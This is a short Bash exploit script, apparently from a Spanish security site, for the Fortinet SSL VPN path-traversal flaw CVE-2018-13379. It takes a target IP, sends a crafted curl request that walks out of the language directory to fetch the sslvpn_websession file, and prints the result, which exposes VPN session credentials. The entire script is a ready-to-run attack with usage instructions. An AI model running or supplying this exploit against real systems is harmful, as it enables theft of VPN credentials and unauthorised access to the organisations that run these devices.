CVE-2018-13379.sh

# CVE-2018-13379
# hackingyseguridad.com
echo "Exploit Path Traversal Fortinet VPN"
echo "Vulnerabilidad CVE-2018-13379"
echo "Uso.: sh CVE-2018-13379.sh <IP>"
#!/bin/bash
curl --path-as-is --request GET -k -o sslvpn_websession.dat  \
-H "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0" \
-H "Accept: text/html, applicattion/xhtml+xml, application/xml;q=0.9,*/*;q=0.8" \
-H "Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3" \
-H "Connection: keep-alive" \
"https://$1/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
echo 
cat sslvpn_websession.dat
echo